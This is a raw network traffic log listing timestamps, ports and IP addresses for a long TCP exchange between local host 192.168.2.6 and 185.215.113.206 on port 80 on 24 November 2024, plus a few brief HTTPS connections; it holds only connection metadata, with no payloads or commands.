Nov 24, 2024 00:06:53.285475969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.285602093 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.285851955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.286243916 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.286290884 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.286349058 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.286390066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.287131071 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.287180901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.287277937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.287333012 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.288021088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.288069963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.288137913 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.288184881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.288875103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.288927078 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.288969994 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.289012909 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.289776087 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.289824963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.289875031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.289913893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.290652037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.290709972 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.290760040 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.290823936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.291876078 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.291929960 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.291987896 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.292042017 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.292399883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.292447090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.292500019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.292538881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.293323040 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.293406963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.293452978 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.293507099 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.296572924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.296587944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.296598911 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.296610117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.296619892 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.296626091 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.296631098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.296668053 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.297166109 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.297318935 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.297367096 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.329685926 CET	49905	443	192.168.2.6	108.156.120.98
Nov 24, 2024 00:06:53.329727888 CET	443	49905	108.156.120.98	192.168.2.6
Nov 24, 2024 00:06:53.329982996 CET	49905	443	192.168.2.6	108.156.120.98
Nov 24, 2024 00:06:53.330240011 CET	49905	443	192.168.2.6	108.156.120.98
Nov 24, 2024 00:06:53.330255985 CET	443	49905	108.156.120.98	192.168.2.6
Nov 24, 2024 00:06:53.331165075 CET	443	49892	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.332015991 CET	49892	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.332034111 CET	443	49892	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.332514048 CET	49892	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.332519054 CET	443	49892	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.338390112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.338462114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.338478088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.338519096 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.338850975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.338896990 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.338915110 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.338952065 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.339713097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.339766026 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.339819908 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.340596914 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.340655088 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.340708971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.340749025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.341471910 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.341515064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.341608047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.341763973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.342339039 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.342397928 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.342442036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.342643023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.343213081 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.343271017 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.343333960 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.343379021 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.344105959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.344203949 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.344254971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.345004082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.345102072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.345155001 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.345866919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.345921040 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.345962048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.346008062 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.346735954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.346781969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.346857071 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.346899033 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.347610950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.347651958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.347728014 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.347767115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.348494053 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.348552942 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.348623991 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.348855019 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.349376917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.349463940 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.349500895 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.349658012 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.350250959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.350306034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.350347996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.350388050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.351119995 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.351180077 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.351219893 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.351263046 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.352014065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.352106094 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.352161884 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.352911949 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.352967024 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.353005886 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.353044987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.353781939 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.353835106 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.353883982 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.353921890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.354643106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.354677916 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.354698896 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.354723930 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.355539083 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.355669022 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.355712891 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.355770111 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.356471062 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.356484890 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.356527090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.357306004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.357460022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.357507944 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.358015060 CET	49906	443	192.168.2.6	20.75.60.91
Nov 24, 2024 00:06:53.358064890 CET	443	49906	20.75.60.91	192.168.2.6
Nov 24, 2024 00:06:53.358129978 CET	49906	443	192.168.2.6	20.75.60.91
Nov 24, 2024 00:06:53.358149052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.358187914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.358251095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.358334064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.359031916 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.359090090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.359144926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.359180927 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.359935999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.359997034 CET	49906	443	192.168.2.6	20.75.60.91
Nov 24, 2024 00:06:53.360008955 CET	443	49906	20.75.60.91	192.168.2.6
Nov 24, 2024 00:06:53.360021114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.360044956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.360084057 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.360779047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.360821009 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.360878944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.360928059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.361653090 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.361715078 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.361763000 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.361800909 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.362539053 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.362668037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.362721920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.363405943 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.363450050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.363506079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.363543987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.364286900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.364391088 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.364418030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.364454031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.365156889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.365231991 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.365279913 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.365417004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.366036892 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.366087914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.366156101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.366208076 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.366877079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.366925955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.420761108 CET	443	49894	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.422173023 CET	49894	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.422192097 CET	443	49894	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.422929049 CET	49894	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.422933102 CET	443	49894	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.452218056 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.456955910 CET	49893	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.456973076 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.459722996 CET	49893	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.459728003 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.491126060 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.491211891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.491270065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.491305113 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.491470098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.491514921 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.491580963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.491700888 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.492388964 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.492458105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.492468119 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.492614985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.493257046 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.493321896 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.493381023 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.493417978 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.494159937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.494232893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.494260073 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.494299889 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.495038033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.495099068 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.495198965 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.495290995 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.495912075 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.495970964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.495994091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.496037006 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.496797085 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.496849060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.496902943 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.496942043 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.497675896 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.497742891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.497783899 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.497837067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.498528004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.498637915 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.498652935 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.498691082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.499389887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.499459028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.499505997 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.499629021 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.500310898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.500356913 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.500411987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.500452042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.501180887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.501244068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.501255989 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.501286030 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.502034903 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.502074957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.502136946 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.502177000 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.502902031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.502948046 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.503021002 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.503077984 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.503814936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.503869057 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.503967047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.504026890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.504652977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.504693031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.504764080 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.504798889 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.505537987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.505677938 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.505681992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.505716085 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.506427050 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.506472111 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.506537914 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.506587029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.507296085 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.507339954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.507399082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.507438898 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.542133093 CET	443	49895	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:53.542489052 CET	49895	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:53.542505026 CET	443	49895	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:53.542861938 CET	443	49895	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:53.543256044 CET	49895	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:53.543327093 CET	443	49895	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:53.543446064 CET	49895	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:53.549058914 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.549118996 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.549211025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.549257040 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.549472094 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.549514055 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.549580097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.549957991 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.550563097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.550607920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.550673008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.550707102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.551212072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.551320076 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.551362038 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.552090883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.552156925 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.552203894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.552241087 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.552972078 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.553018093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.553073883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.553251982 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.553867102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.553910971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.553966999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.554151058 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.554735899 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.554837942 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.554857016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.554888964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.555600882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.555670023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.555716038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.555756092 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.556507111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.556549072 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.556644917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.556683064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.557391882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.557432890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.557522058 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.557569027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.558268070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.558310986 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.558366060 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.558403015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.559112072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.559178114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.559227943 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.559330940 CET	49818	80	192.168.2.6	185.215.113.206
